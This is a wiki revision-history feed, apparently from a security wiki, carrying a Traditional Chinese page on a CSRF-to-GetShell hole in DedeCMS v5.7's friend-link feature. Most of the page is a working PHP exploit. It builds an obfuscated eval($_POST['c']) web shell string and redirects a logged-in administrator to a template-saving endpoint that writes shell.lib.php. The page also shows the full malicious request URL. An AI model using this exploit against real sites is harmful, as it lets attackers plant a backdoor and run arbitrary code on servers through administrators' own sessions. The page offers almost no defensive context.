https://pwnwiki.com/index.php?action=history&feed=atom&title=DedeCMS_v5.7_%E5%8F%8B%E6%83%85%E9%8F%88%E6%8E%A5CSRF_GetShell%E6%BC%8F%E6%B4%9E%2Fzh-tw
DedeCMS v5.7 友情鏈接CSRF GetShell漏洞/zh-tw - Revision history
2026-04-14T18:26:36Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=DedeCMS_v5.7_%E5%8F%8B%E6%83%85%E9%8F%88%E6%8E%A5CSRF_GetShell%E6%BC%8F%E6%B4%9E/zh-tw&diff=5852&oldid=prev
Pwnwiki: Created page with "<code>dedecms_csrf.php</code> 的內容如下："
2021-06-24T03:40:06Z
<p>Created page with "<code>dedecms_csrf.php</code> 的內容如下："</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==漏洞利用==<br />
<br />
[[File:Apply.png |700px]]<br />
<br />
<br />
[[File:Edit.png |700px]]<br />
<br />
<br />
<code>dedecms_csrf.php</code> 的內容如下：<br />
<br />
<br />
<pre><br />
<?php<br />
$referer = $_SERVER['HTTP_REFERER'];<br />
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径<br />
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';<br />
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';<br />
$url = $dede_login.$exp;<br />
header("location: ".$url);<br />
exit();<br />
</pre><br />
<br />
<br />
<br />
管理員：<br />
<br />
<br />
[[File:Link_list.png |700px]]<br />
<br />
<br />
由於友鏈中使用了header 跳轉，所以結果其實是訪問了<pre>http://localhost/DedeCMS/DedeCMS-V5.7-GBK-SP2-20170315/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php</pre> 請求。<br />
<br />
<br />
shell.lib.php:<br />
<br />
[[File:Shell.png |500px]]</div>
Pwnwiki